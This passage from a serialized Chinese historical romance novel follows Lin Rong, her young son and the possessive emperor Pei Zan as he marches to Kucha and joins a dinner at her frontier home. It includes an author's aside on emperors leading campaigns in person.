传个太医瞧瞧伤吧。” 裴瓒很能忍疼, 即便负伤拥她, 亦面不改色。 林蓉从男人镇定的脸上,看不出丝毫伤重的迹象,可北伐战役在即, 她希望裴瓒能安然无恙,率军击退那些入侵西域的戎狄。 思来想去, 林蓉还是自己拉开房门, 喊了一声:“来人传个太医, 陛下受伤了!” 寝殿周围一直都有禁军巡哨宿卫, 没有叨扰林蓉他们, 无非是裴瓒下达过“不得惊扰娘娘”的圣谕。 如今林蓉亲自召人, 自有宫人领命, 朝殿外疾步奔去。 不过一刻钟的时间,周太医便被请进了内殿。 周太医取来止血镇痛的草药汁子帮裴瓒擦拭伤口, 再敷药包扎,好在血止住了, 刀伤也不及心肺,没什么大碍。 不过从胸膛的伤口来看,刀尖分明是朝下的,应该是他伤。 若是自伤, 一般来说刀尖会朝上……而内侍说了,当时暖阁里就裴瓒和林蓉二人,难不成是这位美人下的刀子? 可她真要行刺,又怎会帮着上药、伺候、跑前跑后地照看? 偏偏皇帝还没有半点怪罪…… 周太医不懂皇帝在想什么,只当这是裴瓒不为人知的隐癖。 今夜,裴瓒没有宿到儿子的寝殿,反倒另外置了被褥,睡在偏殿。 林蓉见裴瓒止住了血,也没有发烧,心里松一口气。 她想回寝殿继续收拾行囊,刚一起身,又被裴瓒抓住了手腕。 “林蓉。” 裴瓒的嗓音寥寂冷清,寒如冰雪。 林蓉被他拉得一滞,反应过来,颇为无奈地解释:“我只是回去收拾行李……我答应过你,即便要走也会告诉你去向,你不必担忧。” 裴瓒仍不松手,他像是在与林蓉抗争,长指如同囚人的桎梏,攥得好紧。 “林蓉,向我证明,你真的会履诺。” 闻言,林蓉无措地怔住。 怎么证明? 她低头,看到倚在床头的裴瓒。 男人褪了中衣,赤着宽阔坚实的胸膛,一条白绫似的长布裹住了伤口,衬得他肤白发黑,诡谲妖冶。 失血过多的裴瓒显然是无害的,他的一双薄唇几无血色,抓人的力道渐松,只抬起那双肃寂晦暗的凤眸,一错不错紧盯着林蓉,脸色阴沉如鬼。 林蓉知道,今夜能放她离开,已是裴瓒做出的最大让步。 再闹下去,定会两败俱伤。 林蓉回头,再度坐回榻边。 林蓉落座的刹那,裴瓒肉眼可见地缓和了心神。 禁锢林蓉的那只手也慢慢松开了。 下一刻,裴瓒的手指温凉如玉,自林蓉的手背,抚向她久未喝水有点干涸的樱唇上。 男人带着粗粝薄茧的指腹,碾在林蓉微抿的唇缝,沿着唇纹暧昧流连,像是一种敲打,也似一种暗示。 “林蓉,证明给我看……你不再惧我、避我、厌我。” 他需要林蓉的许诺,不然他安不下心。 林蓉明白,她逃了许多次,在裴瓒眼中,她兴许算一个“不守信用”的人,她得与他重新建立彼此信赖的关系,这样一来,才能哄裴瓒放手,给予她自由。 林蓉的长睫轻颤,她的视线下移,凝于裴瓒微微滚动的喉结上。 裴瓒的皮肤很白,却又不似女子那般嫩如醍醐,反倒是带着一种蓄势待发的紧绷感,泛起一种男子独有的秀润。 而他藏在颈下的那一颗嶙峋喉结,每日在薄皮底下挣扎,鼓动的喉骨一颤一颤,如同妖邪狰狞的犄角,诱人下口,用齿关碾碎它。 不知是想让裴瓒痛,还是旁的什么邪心。 林蓉终是如他所愿,靠近了一步。 林蓉俯身,馥郁鲜活的草木香气一点点侵进人的神志。 她低头倾向裴瓒,又张嘴,轻咬住他的颈子。 软肋命脉猝不及防被人衔在齿间,裴瓒却毫不躲闪,男人的一双墨眸幽深,垂头静静看着林蓉动作。 林蓉炙热的唇舌轻吮,裹缠裴瓒清棱棱的喉结,尖利的牙齿抵压,磨咬上那一颗桃核。眼下的境况岌岌可危,林蓉盼着裴瓒心生畏惧,毕竟她一用力,他就能死于非命,但裴瓒悍不畏死,仅仅气息粗重,蜷曲了长指。 没等林蓉咬疼裴瓒,她就嗅到了男人身上渡来的血腥气……林蓉记起裴瓒受伤的事,想到裴瓒就是个无所畏忌的疯子,终是遗憾地松开了嘴。 “这样足够吗?”林蓉已向裴瓒证明,她敢靠近他,她并不惧他。 裴瓒不置一词。 但这次,林蓉再回寝殿,裴瓒没有拦她。 两天后,裴瓒率领八万大军,前往西域,意欲北伐御戎。 裴瓒虽为西魏君主,却是掌军统帅出身,在军中威望极重。此次御戎,还得他御驾亲征,方能调动裴家兵马。 对此,朝臣并无异议。 一是凉州距离龟兹国不过千里之遥,倘若西域诸国城破受降,北戎胡人再行军十多日便能攻向凉州,届时边城战火纷飞,殃及池鱼,他们这些京官也得遭殃。 二是裴瓒深得民心,用兵如神,如他亲自率军御敌,定能屡战屡捷。 三是裴瓒深知兵权便是皇权,他不会蠢到培育几个雄才盖世的将士,让渡手中兵马,交出统兵印绶,为千秋帝业埋下“他人篡位夺权”的隐患。 此次亲征,裴瓒除却庇护藩属国的胡民,亦有率军立威的深意在内。 如此一来,便能让西域胡民真正归顺西魏,对裴瓒顶礼膜拜,从而达成“征服诸部胡酋,设下驻军,推行地方政令”的目的,将整片西域都纳入西魏的版图。 近日西域虽有魏军御敌,但整体也不算太平,林蓉为了自身安危,并未和裴瓒对着干,反倒是随军一道儿回龟兹国。 林蓉看了一眼马车里兴奋得上蹿下跳的小团子,悄声问裴瓒:“龟兹国眼下兵荒马乱,带着玉奴出门,会不会有危险?” “不会。”裴瓒看了一眼手抓肉干喂食鹰隼的儿子,想了想,又道,“永安三年,我率军御敌,远征在外,陵阳辜氏买通宫中宦官,给太子投毒喂药,若非内廷有奴仆觉出不对,舍身试药,玉奴便要命丧当场。” 裴瓒知晓此事,雷霆震怒,当即退兵回城。 他腾起悍烈杀心,屠戮陵阳辜氏满门,甚至祸及辜氏九族,凡是拜在辜氏门下的士子,皆不录用,如此杀鸡儆猴,方能求得几日安生。 此后,凡是裴瓒远行超过二十日,他便会将独子带在身边,以免世家郡望包藏祸心,趁他不备,迫害裴嘉树。 林蓉闻言,也被吓出一身汗,她惊魂未定,拉过裴嘉树,用力地抱了抱,又拉开衣裳,仔细验看他的手脚,确认没有留下什么伤疤。 裴嘉树刚喂完那只名叫“酸枣”的黑鹰,他趴了半天车窗,正是腰酸背痛,没等他坐下好好喝口茶,已经被娘亲摁到怀里,上上下下揉捏。 阿娘的怀抱很暖和,衣裳也香香的,裴嘉树很喜欢。 小孩的耳朵红彤彤的,他任她蹂躏,坐在阿娘的膝上,像一只乖巧懂事的猫崽子。 林蓉确认儿子没有留下什么旧疤,且聪明伶俐,白白胖胖,长吁一口气,感激地道:“大少爷,你将玉奴照顾得很好。” 裴瓒眼中冷色褪去,嗓音也温和:“他是我们的孩子,自该好生照看。” 到了龟兹国,裴瓒下达了在外安营扎寨的军令,郑至明得令,便领着三军朝城外的戈壁行去。 蒙提国王备好酒菜,召集兵马,随着魏军远行,热情地招待那些远道而来的西魏将士。 可裴瓒身为君主,却没有赴宴,而是抽出空闲,亲自护送林蓉回家。 裴瓒独自出行的阵仗不大,虽有暗卫在蛰伏四方,明面上却是一人一骑,并没有引来路人的侧目。 林蓉早早用膏粉染出半张脸的胎记,她打扮成从前的模样,回到了家中。 甫一开门,芝麻就扬鬃踏蹄,快步上前,与林蓉交颈厮磨。 林蓉也很想念芝麻,她拍了拍搭在肩膀上的马脑袋,又喊了一声:“大黄!” 没等大黄狗跑出来,裴嘉树已然一个飞扑,抱住了毛茸茸的大黄狗。 大黄像是闻到了林蓉的味道,并未顶开裴嘉树,反倒亲昵地摇晃狗尾巴,热情地舔舐裴嘉树的下巴。 只是在裴瓒入内的霎那,大黄似想到了什么可怖的场景,竟夹起尾巴,委屈地呜咽了一声,缩在小孩怀中瑟瑟发抖。 裴瓒擅自入内,他冷着一张脸,巡视领地一般,扫一眼林蓉的住处。 林蓉的家宅不大,但很温馨,家中用具都摆放得井井有条,能看出主人家的生活极具巧思。 院墙用杨木、黄泥堆砌,砌得还算齐整,院子里置着石磨台子,搭了葡萄藤棚架,不是长葡萄的季节,唯有枯藤萎靡地缠着木架子,等待来年结果。 裴瓒推开灶房,左右打量,屋角的几个酒瓮里装的都是腌菜,并非酒水。 林蓉不好酒,若她专程藏酒,便是备给旁人喝的。 幸好没有。 裴瓒的心神稍定,他又推开唯一一间寝房,逡巡一圈。 衣橱里置放的都是女子衣饰、御寒的羊羔皮袍,鞋履也都是小尺寸的毛靴…… 裴瓒确认无误,这一间院子唯有林蓉独居,她没有和其他男子同住。 裴瓒闲庭信步,在院中逛了很久,林蓉虽不知他在看什么,但也轻声提醒:“大少爷,夜里是不是还有官宴要办,时辰快到了,你还不去赴宴吗?” 林蓉知道裴瓒调兵前来御敌,定是日理万机,案牍劳形,每天都得上军营里操练兵马,哨探敌情,又哪里有空在她家中长留? “不急,官宴一事自有郑至明督看,再迟半个时辰过去也无妨……”顿了顿,裴瓒又看了裴嘉树一眼,“玉奴不好管教,留他在此处,会不会叨扰到你?” 之前说好了,裴瓒公务繁忙,没空照看儿子,既如此,便让裴嘉树跟着林蓉生活一段时间。 林蓉很喜欢儿子,她笑着摇头,“不会,能照看玉奴,我求之不得……就是家里没什么好东西,怕他吃不惯住不惯。” 裴嘉树生怕被娘亲丢下,忙一蹦三尺高,着急地道:“我吃得惯,我不挑食!阿娘吃什么,玉奴就跟着吃什么!” 小孩都这样说了,裴瓒便也随他。 临走前,林蓉去灶房做饭,裴嘉树乖乖送父亲出门。 裴瓒单臂揽过缰绳,利落上马,他看了一眼蛰伏暗处的暗卫,确保一应部署能够护住母子二人的安全。 裴瓒:“莫要乱跑,跟着你阿娘……为父夜里再过来。” 听完,裴嘉树点头应是,又纳闷地眨了眨眼。 嗯?爹爹不是要在外练兵吗?怎么还要回家啊?他还以为会有一段时间见不到爹爹呢! 但裴嘉树是一个很听父亲话的小孩,他巴不得每天看到爹娘,便也没有在意这等小事。 待裴瓒策马离开后,小孩乖乖合上院门,还踮脚上好了门闩。 作者有话说: 一个小资料:明成祖朱棣将明朝的都城从南京迁到了北京,守在长城脚下,为的就是攻打外族,曾几次御驾亲征,征讨蒙古。 (不必在意,本文架空,只是为了说明皇帝御驾亲征是非常正常的事) 第64章 不过未时, 还是下午。 林蓉看了一眼刚吃空的狗碗、塞满新鲜马草的粮槽,知道这些时日都是杨峰在帮她操持家宅里外,芝麻和大黄才不至于在家中忍饥挨饿。 不管怎么说, 林蓉都得登门答谢一番。 林蓉在屋里做饭,裴嘉树就在院子里和大黄狗玩耍。 小孩的眼光和大人实在不同, 外人觉得芝麻虽膘肥体壮, 但毛色杂乱, 野性难驯, 算不得好马,但在裴嘉树眼中,芝麻能听懂他说话, 而且还会低头蹭他,与他这般亲近, 当真是万里挑一的好马! 裴嘉树激动得语无伦次, 他亲昵地蹭蹭芝麻, 还从粮槽里拨出一把干草, 亲手喂给芝麻吃。 虽然芝麻会屈膝下跪, 招呼裴嘉树爬到背上玩耍, 但马驹太高了, 裴嘉树不敢乱爬,只能骑在大黄狗身上过过瘾。 一人一马一狗玩成一团, 还有一只鹰隼立于屋檐,趾高气昂地扫视底下的一切。 等林蓉煮好虾干汤面, 端到院子里的时候,裴嘉树已经满身狗毛、杂草、马毛,脏兮兮地坐在马厩里。 “玉奴!” 林蓉大声喊他。 裴嘉树一个激灵,吓了一跳。 他乖乖爬出马厩, 站到母亲面前听训。 但林蓉没有呵斥儿子,她只是颇为无奈地牵住小孩的手,再端来热水,帮他洗手、擦脸。 本想着再帮裴嘉树洗个澡,换一身衣,但这样一来,又得浪费半个时辰,林蓉怕儿子饿了一天脾胃不好,不敢让他太迟吃饭。 热烘烘的帕子覆在脸上,裴嘉树木头人似的任林蓉擦洗,他从一开始的忐忑不安,渐渐到放松紧绷的心神……不知道为什么,在这一刻,裴嘉树忽然鼻尖酸涩,他确认了一件事——阿娘真的很喜欢他,就算他在泥地里打滚,就算他没有礼数,不懂规矩,浑身脏兮兮的,阿娘也不会骂他、怪他,她还是会爱他。 小孩的眼眶忽然红了,吓了林蓉一跳。 她蹲下身子,小声问:“我下手太重,擦疼玉奴了?” 裴嘉树吸了吸鼻子,摇摇头没说话,他只是把脸埋到林蓉怀里,瓮声瓮气说:“玉奴真的很想很想阿娘。” 林蓉听得心都软得一塌糊涂,她抱住儿子亲了好几口,再摘去他头上杂草,拉他去桌上吃饭。 林蓉递去筷子,还把一碟碟甜口的腌萝卜、香喷喷的羊油渣,挪到儿子跟前。 “玉奴先吃完面,待会儿沐浴换衣。下午阿娘要去给街坊邻里送礼,顺道买一些晚上吃的菜肉,玉奴是待在家里,还是跟阿娘一块儿出门?” 裴嘉树当然要小尾巴似的跟着娘亲,他忙道:“我跟着阿娘去!我力气可大了,还能帮阿娘提肉拎菜。” 林蓉想到小孩被一扇羊肋压得起不来身的滑稽场面,她噗嗤一笑,说:“不用你拎,咱们骑马去,让芝麻帮忙驮肉。” 闻言,裴嘉树一双乌溜溜的眼睛又开始放光,望向芝麻的眼神里满是崇拜。 裴嘉树:“芝麻帮了大忙,我们是不是要给芝麻买点好吃的道谢?” 林蓉想了想:“待会儿去买些胡萝卜回来,芝麻爱吃这个!” 芝麻听到胡萝卜三个字,也喷了喷鼻子,抖起耳朵。 裴嘉树吃完面,帮林蓉收拾脏兮兮的碗筷,又自己从箱笼里找出一身新裁的联珠纹胡袍、一双羊皮短靴,等着洗完澡换上身。 已是冬季,塞外的山川平原早已被大雪覆没,但西域地形复杂,既有戈壁大漠,又有草原绿洲,因此龟兹国还未被厚雪吞没,无非是夜里寒凉,偶有簌簌小雪。 林蓉怕裴嘉树受冻,特意在烧上柴火的灶房里帮小孩洗澡。 但裴嘉树很要脸面,平时在宫里都不肯让内侍帮忙洗澡,他不要林蓉上手,只允许林蓉帮忙搓一下背,洗去滑溜溜的澡豆,其他的擦洗、换衣,他都能自己动手完成。 裴嘉树换好鞋袜,坐在灶膛前烘头发,由着林蓉取发带,帮他束好发尾。 裴嘉树换好衣裳,又变成一个干干净净的小郎君。 出门前,林蓉摘下悬梁的腊肉,切了几块焖到陶碗里,再添水,加点去腥的香料,埋进将熄未熄的草木灰里,让它慢慢煨熟,夜里拿出来给小孩加餐。 阖上房门,林蓉先把裴嘉树抱上芝麻的马背,又踩镫上马,从后拥住小孩。 裴嘉树难得看到女子骑马,明明阿娘用膏粉遮掩姣好的容貌,亦没有如凉州的世家女眷那般穿金戴银,但他还是觉得阿娘英姿飒爽,别样的好看。 裴嘉树被漂亮娘亲抱着出门,不知为何,他竟心生出一种难言的自豪感,要不是他不通胡语,他都想拉着龟兹国的路人介绍:“对,她就是我阿娘,我阿娘是最好看的人!” 到了集市,林蓉下马买菜,又指点裴嘉树扶稳马鞍,切莫跌下来。 林蓉看到远处城外延绵不绝的雪峰,猜测天气寒冷,杨峰应该没有外出跑商。 既如此,夜里她可以置办一场家宴,邀请杨峰、张婶娘一家、还有几个客舍酒肆的胡人店家来家里吃饭。 林蓉买了一只宰好的小羊羔,又买了十多个刚出炉的烤馕饼。 胡萝卜正是当季,再过一段时间就没有了,于是林蓉直接把那一箩筐胡萝卜全包圆了。 东西太重,外加一个小孩,林蓉不想芝麻受累,便没有骑马回家。 裴嘉树一边摸胡萝卜喂给芝麻,一边和林蓉闲聊。 “阿娘,教我几句胡语!” 小孩话多,又对塞外的生活十分好奇,不但和林蓉学上一些简单的胡语,还见人就用胡语打招呼。 路人不明所以,一看小孩玉雪可爱,不禁一笑,还送了裴嘉树一些零零碎碎的小玩意儿。 裴嘉树满载而归,玩的小东西可以留着,但陌生人给的吃食,林蓉不许他入口。 回到家,林蓉把荤肉、果蔬全搬到院子角落。 等喂好了芝麻,她才牵着裴嘉树再次出门。 杨峰就住在林蓉隔壁。 杨峰的宅子大,两进的土屋,还留一排后罩房用于囤货。 今日不凑巧,杨峰不在家,倒是雇来的瘸腿胡奴见到林蓉,急忙热情地打招呼:“林姑娘!好久不见!” 林蓉应了一声,送上几个安石榴,还有一只烧鸡。 胡奴告诉林蓉,杨峰出门安置商队,再过一个时辰才回来。 林蓉了然,她把安石榴送给胡奴,烧鸡留给杨峰,并嘱咐一句:“倘若杨大哥回家,劳烦你喊他夜里来我家吃个饭。” 胡奴答应下来,林蓉牵着裴嘉树离开。 请了杨峰,还得请其他玉门村的旧友。 林蓉又带着裴嘉树登了一趟张婶娘的家门。 张婶娘眼见龟兹国兵荒马乱,打起回西魏凉州的心思,她今天刚把出栏的牛羊卖了,想找林蓉闲侃,怎料还没来得及去林蓉家,小姑娘倒先过来了。 张婶娘喜道:“蓉儿,我正要去找你呢,这是婶娘腌的羊腿,大冷天不好买吃食了,你且留着过冬……” 没等张婶娘说完,她头一低,又和一个粉雕玉琢的小娃娃对上眼:“哟,这胖娃娃谁家的啊?” 裴嘉树的手脚其实不算胖,只是脸蛋丰腴罢了。 裴嘉树眼睛大、鼻梁高、嘴唇红,脸颊又饱满,像极了观音座下的小仙童,越瞧越喜人。 张婶娘忍不住伸手捏了捏小娃娃的脸。 裴嘉树难得见到一个魏人,笑着道:“孤……呃,我是阿娘家里的!” 张婶娘被搞懵了:“你阿娘是谁啊?” 明摆着的事,张婶娘却不知道!裴嘉树有点不高兴,他噘嘴,抱住林蓉的手:“阿娘……” 林蓉无奈地介绍:“这是我儿子,玉奴,来喊人,这是张阿婆。” 林蓉的婶娘,对小孩来说自然就是年长的阿婆了。 裴嘉树倒也大方,他抿唇一笑:“张阿婆!” “嗳!咱们哥儿真乖!阿婆给你拿糖吃!”张婶娘喜得见眉不见眼,又问,“蓉儿,你孩子都这么大了?没听你说过啊,他爹呢?” 没等林蓉说话,裴嘉树便道:“我爹上战场了。” 林蓉一笑,并未多说。 张婶娘见林蓉一副讳莫如深的样子,还有什么不明白的?想来是战乱年间,孩子他爹战死沙场,回不了家,难怪要把孩子丢给林蓉照看。 张婶娘不敢戳人伤疤,闻言轻轻叹一口气,识趣地岔开了话题。 闲聊了几句,张婶娘自告奋勇要去林蓉家里帮忙做饭,她的女儿妙妙也在家,正好能搭把手。 夜里,林蓉的小院热闹非凡,都是她请来做客的旧友亲朋。 大家登门做客也不空手来,你带点烧肉,我带点丸子汤,不用林蓉煮太多菜,桌上就摆满了各式各样的吃食。 杨峰姗姗来迟,过来的时候还带了些夜里照明的蜡烛。 蜡烛昂贵,平时林蓉用的都是熏人的油灯,杨峰怕她夜里鞣皮制衣的时候眼睛疼,总会给林蓉捎带一些蜡烛,他怕林蓉不收,还胡编乱造说是卖不完剩下的残货。 林蓉承杨峰好意,为了报答杨峰,她也会三不五时上他家送点吃食。 林蓉大方收下赠礼,请杨峰入内吃烤全羊。 杨峰看到林蓉身边还跟着一个唇红齿白的小孩,多看了两眼:“他是?” 裴嘉树仰头,可怜兮兮:“阿娘……” 林蓉一笑,揉了揉小孩的脑袋:“是我儿子玉奴。” 杨峰脸上的笑容霎时僵住了,他低头,又借着篝火的光焰,打量小孩几眼。 裴嘉树生得一双灵动的凤眼,鼻挺眉浓……只消一眼就知是谁的孩子。 他忽觉呼吸不畅,胸腔竟有几分痛涩。 杨峰苦笑:“是裴公子的孩子?” 林蓉没有隐瞒,点头称是。 林蓉不是那等行事拖泥带水的人,也从未回应过杨峰的好感,甚至连杨峰的示好,林蓉也会拒绝得干干净净,若是拒绝不了,便用赠礼与他两清。 旁人以为林蓉和杨峰礼尚往来,是关系亲昵的表现,但杨峰心知肚明,这是要时刻与他撇清干系。 今日,当杨峰看到林蓉善待裴嘉树,笑脸相迎,他终是后知后觉明白过来…… 他从来都没有接近林蓉的可能。 林蓉与裴瓒多年恩怨爱恨,有着千丝万缕的牵扯纠缠,再苦再痛,都是他们二人的事,旁人无力插足。 杨峰从头到尾都只能当一个旁观者, 他自始至终都只能是一个外人。 “杨叔?”裴嘉树抬头,好奇地仰望娘亲的朋友。 杨峰压下那些漫上胸口的苦闷,他笑了下,蹲身抱起裴嘉树,“走,玉奴,杨叔带你吃烧肉去!” …… 今日的军宴盛大,美酒佳肴,笙歌鼎沸,还有舞姬助兴,将士们吃得尽兴,蒙提国王也招待得顺心,一时间宾主尽欢,其乐融融。 裴瓒很早就从席上离开,策马离营,回到城中。 君王提早离席实属常事,唯有如此,底下兵将才敢饮酒作乐,不被上峰责罚。 西魏大军驻扎在龟兹国外的一片水草丰美的绿洲,待选定落脚地点,裴瓒下达扎营修寨的军令,又派出一批士兵负责列阵警戒,提防敌军偷袭。 君王下令,自有各队主将帮忙落实这些军策,再安排好夜里执勤的斥候队伍、负责宿卫营房的兵卒,以防不测。 如有要事,郑至明亦会点燃烽燧示警,或是利用信鹰给裴瓒传讯。而西魏军营距离龟兹国主城不过几里地,策马疾行也只要一刻钟的工夫,即便裴瓒不在营地,也不会耽误战事军情。 裴瓒打点好一应事,总算能安下心,跃马扬鞭朝林蓉的家宅奔去。 墨羽撒开四蹄,如离弦之箭,激射而出。 悍烈的战马踩踏地皮,溅起无数星点雪泥。 黑黢黢的淤泥四溅,险些弄脏裴瓒手中提的几包吃食。 裴瓒略一蹙眉,绕缰勒马,止住了跑马的速度。 裴瓒离席之前,特意命人备了吃食。他给林蓉包了一些炙烤过的鹿肉,又给裴嘉树带了爱吃的糖屑烧饼。 裴瓒怕马背颠簸,吃食冷却,还将那些油纸包妥善地收拢,尽数护到怀中。 林蓉的家宅近在眼前,裴瓒远远看到炊烟袅袅,听到欢声笑语,他以为林蓉早早入睡,却不想她的小院竟车马盈门,高朋满座。 裴瓒的神色淡漠,他翻身下马,缓步行去。 透过庭院里烟熏火燎的篝火,裴瓒终是看清……杨峰怀抱裴嘉树,笑着给他的亲子喂食,而他的妻子弯唇旁观,时不时帮扶一把。三人有说有笑,气氛融洽,亲如一家。 在这一瞬间,裴瓒的凤眸晦暗,脸色沉如滴墨,忽觉胸腔窒闷,万箭穿心。他攥着缰绳的手骨拧紧,手背青筋鼓动,旧伤似要裂肤流血,心腑亦在隐隐作痛。 裴瓒寒着脸,静立许久,灯火照不到他,唯留一片孤清背影。 裴瓒薄唇紧抿,淋雪而立,待风雪渐大,霜寒满衣,他方才强行抑下那颗冷戾勃发的杀心,迈入院中。 第65章 林蓉正与朋友们说笑, 院门忽然响起踏雪的嘎吱声。 她下意识回头,朝门槛望去。 悬在屋檐的破败灯笼早已熄了火,黯淡微弱的红纱旧布被风雪吹得乱转, 落到裴瓒的肩侧,好似一片干涸许久的黑色血迹。 林蓉看着长身玉立的黑衣男子, 杏眸骤缩, 竟一时不能动弹。 纵他仙姿佚貌, 神清骨秀, 林蓉仍能从裴瓒一言不发的冷漠神情,看出他的不悦与愠怒。 从前玉门村的可怖记忆再次席卷而来,林蓉记起那一蓬蓬泼到脸上的温热鲜血, 以及挤进鼻腔的浓烈血腥味。 她看着靠在杨峰怀里的裴嘉树,竟有几分手足无措, 忙伸手道:“玉奴……来娘怀里。” 可没等林蓉接过儿子, 另一双白皙如玉的手已然替过了她:“我来抱吧。” 裴瓒淡然接过裴嘉树, 他抱着儿子, 站在林蓉身旁, 没说出什么赐死的话, 更没有出剑伤人。 林蓉悬上喉头的心脏, 总算一寸寸落下,她困惑地看了裴瓒一眼, 但到底不敢激怒他,还是什么都没问。 在裴瓒入门的一瞬间, 他就看到了妻子脸上惊慌失措的神色……林蓉下意识蜷曲手掌,后退半步,这般防御的动作,莫名牵出裴瓒的三分讥诮冷笑。 还说不怕他, 分明是扯谎。 可林蓉避之不及的态度,亦令裴瓒胸口刺疼,心脏仿佛蜂刺蛰肉,毒汁侵体,令他四肢百骸的血脉经络都泛起滚沸的缠痛。 倒是奇怪,裴瓒从不畏刀枪剜肉,箭矢刺骨,却能因林蓉一记惊骇的眼神、一点不安的心绪,而心生剧烈痛症,仿佛她才是他的骨、他的血,与他相生相缠,相灭相生。 裴瓒在这般刻骨的涩痛里,确认了一件事——林蓉果真是他的因果报应,他与她唯有一条死路可解。 裴嘉树不知父亲在想什么,他只觉得今晚来的人好多,院子好热闹,杨叔人也好好,还给他糖吃! 正当裴嘉树从怀里摸出油纸包的奶糖,想给父亲剥出一颗的时候,裴瓒没收了小孩手里的纸袋,尽数送还给杨峰。 “玉奴正是换牙的年纪,怕长龋齿,不能吃太多饴糖。” 当爹的管教儿子,杨峰确实没有立场干涉,他苦笑一声,接过裴瓒递来的糖,“确实是我疏忽了,多谢裴公子提点。” 裴瓒不再应他,只单臂抱着小娃娃,另一手又用不容置喙的强悍力道,紧紧扣住林蓉的手腕,将她抓在身侧。 裴瓒没有喊打喊杀,已令林蓉松了一口气,不过是牵个手,她又怎会阻他? 林蓉今晚设宴,除了朋友,也请了一些住得近的邻里。林蓉的丈夫忽然回家,那些看热闹的父老乡亲统统围上来问长问短。 他们看着裴瓒有点眼熟,但没人会相信这是西魏的君主,只以为裴瓒是魏军里的一个小兵卒,正因龟兹国要打战了,才有机会和妻子团聚。 “林姑娘,你夫婿生得好看,难怪儿子也长得这般漂亮!果然找夫婿就是要找俊俏的,这样生下的哥儿才能如小仙童一般!” 裴嘉树闻言,莫名其妙地看了那人一眼:“我阿娘也好看呀!” 对方瞥了眼林蓉脸上的胎记,笑而不语,只当小孩对母亲存有孺慕之心,母亲长什么样他都觉得好看。 裴瓒浸渍官场多年,早练就一番“见人说人话、见鬼说鬼话”的能耐,不过是应对几个市井小民,堪称易如反掌。 林蓉一直忐忑地跟在裴瓒身边,生怕街坊邻里多嘴多舌,问了什么禁忌,惹得裴瓒不快。 天子一怒,伏尸万千,她不敢去赌裴瓒的仁善,也知裴瓒只可能对她和玉奴网开一面。 但幸好,今日的家宴还算融洽,并未出太多乱子。 林蓉亦步亦趋跟在裴瓒身旁。 许是想哄裴瓒开心,林蓉的话变多了,言行举止带了点她自己都没意识到的讨好。 林蓉低头,看着手里空空如也的木签子……似是她自己都没想到,不过客套地问上一句,裴瓒竟也能接受她的喂食,还吃完了一整串羊油烤肉。 深夜,宴散。 朋友们帮忙收拾碗筷、桌椅,整理妥当了才和林蓉道别。 院子变得冷清,唯有杨峰还没离开。 杨峰虽然知道林蓉对儿子疼爱有加,但他也记起从前林蓉一心出逃,和裴瓒闹得不可开交,若她对裴瓒有意,也不会逗留龟兹国多年,不肯回西魏见裴瓒。 思及至此,杨峰又心生一丝希冀,对裴瓒道:“裴公子深夜到访,可有定下客店?若是没有,不如上我的家宅凑合一夜。” 杨峰心知肚明,裴瓒率军御敌,自有住处,他无非是惦念林蓉,方才回到主城。 但杨峰担心林蓉并不想让裴瓒留宿,既如此,他便帮林蓉解围,故意抛出橄榄根,主动招待裴瓒,也好让林蓉得个清静。 但裴瓒显然不吃这套,他冷嗤一声,又撩起薄薄眼皮,掠了林蓉一眼,似是想看看他的妻子脸上究竟是何神情。 好在林蓉并未流露欣喜之色。 她没有帮着杨峰说话,将他赶出家门。 裴瓒凉凉地道:“不劳杨公子费心,我的妻儿在此,自有留宿之地。” 裴瓒明目张胆宣誓主权,语气森然,带了点寒戾的杀气。 林蓉听出来了,裴瓒此人占有欲强悍,只要她敢给杨峰丝毫希望,他就敢提剑将人千刀万剐。 林蓉不想杨峰再惹事,只能小声哄劝:“杨大哥明早不是还要外出赶集么?早些回去休息吧。” 林蓉都这般劝阻了,杨峰也不会让她为难,他深深看了裴瓒一眼,一字一句叮嘱:“若是有事,林姑娘记得唤我,我就在隔壁院子。” 林蓉含糊地应了一声,在裴瓒抚上腰侧寒剑之前,把人带出了院子。 今年的雪来得有些早,庭院下起鹅毛大雪,林蓉也把寝屋的炕床烧了起来。 内室顷刻间变得暖和。 林蓉早早沐浴更衣,穿上一身就寝的中衣,抱着一床被褥,铺到热腾腾的土炕上。 她拍松晒过的棉被,若有所思地盯着窄小的土炕。 林蓉从前是一人独居,搭建土炕的时候就只设了一人的床位。 她的身材瘦小,抱着一个小孩睡觉刚刚好,但要一家三口上榻,土炕还是太挤了。 待裴瓒怀抱洗得香喷喷的小团子回房时,林蓉还在思考怎么安置裴瓒。 林蓉听到门扉阖上的动静,下意识抬头看了一眼。 父子两人已经梳洗过了,许是在灶膛前烤过火的缘故,二人的发尾都不算湿。 裴瓒帮裴嘉树梳了两个发丸子,又用红色的发带将两团发揪揪缠成粽子的形状,远远看去,小孩男生女相,粉面朱唇,倒有点像庙里供奉的哪吒三太子。 裴瓒拍了拍不安分的儿子,把小孩丢上热腾腾的火坑,自己则走向靠墙的木桌,倒了杯茶水润口。 林蓉揽着裴嘉树给他捯饬床位,杏眸却仍瞥向一侧的身影峻拔高大的男人。 裴瓒没有梳发,而是取月白丝绦,松松垮垮地缚了一圈。 男人安静站立,鬓边有几缕浓如墨迹的青丝垂落,蜿蜒而下,覆没肌理匀称的肩背,竟平添几分柔色,减缓了些许瘆人的杀气。 许是觉察到林蓉在看他,裴瓒长睫轻颤,偏头看来。 他的指腹仍在摩挲那一只陶土杯,长指把玩茶盏,久久无言,似在等林蓉说话。 林蓉深思片刻,还是开了口:“家宅简陋……大少爷当真不去外面住店?” 裴瓒脸色微沉,静默许久,这才启唇说话:“不必,近日龟兹国不算太平,我不放心你们母子二人留宿主城,自当陪伴左右,护你们周全。” 林蓉挣扎一会儿,解释:“可家中平时就我一人独居,实在没有床榻供大少爷安睡……” 裴瓒目光幽深,凝视林蓉,“我可以与你们挤一挤。” 林蓉顶着他意味复杂的眼神,强行解释:“床榻太小,睡我与玉奴已是勉强,三人实在是……要不我还是问问婶子他们有没有空房吧?” 林蓉知道裴瓒不喜欢杨峰,她没有逼他去隔壁院子留宿。 但裴瓒显然不领情,他放下了手中茶盏,走向一侧塞满旧衣的箱笼。 “有无多余的床褥?我亦可打地铺。” 林蓉惊讶,她心里莫名嘟囔出一句:堂堂国君睡地上,是不是有失体面? 但她不敢多问,帮着裴瓒找被褥。 裴瓒并不愚钝,他聪慧敏锐,亦洞察人心。 不过瞥一眼,他就猜出林蓉心中的顾虑。 裴瓒:“在外行军,如遇紧急军情,我也有席地入睡的时候,不过打个地铺,实不算什么。” 既然裴瓒坚持,林蓉也就随便他。 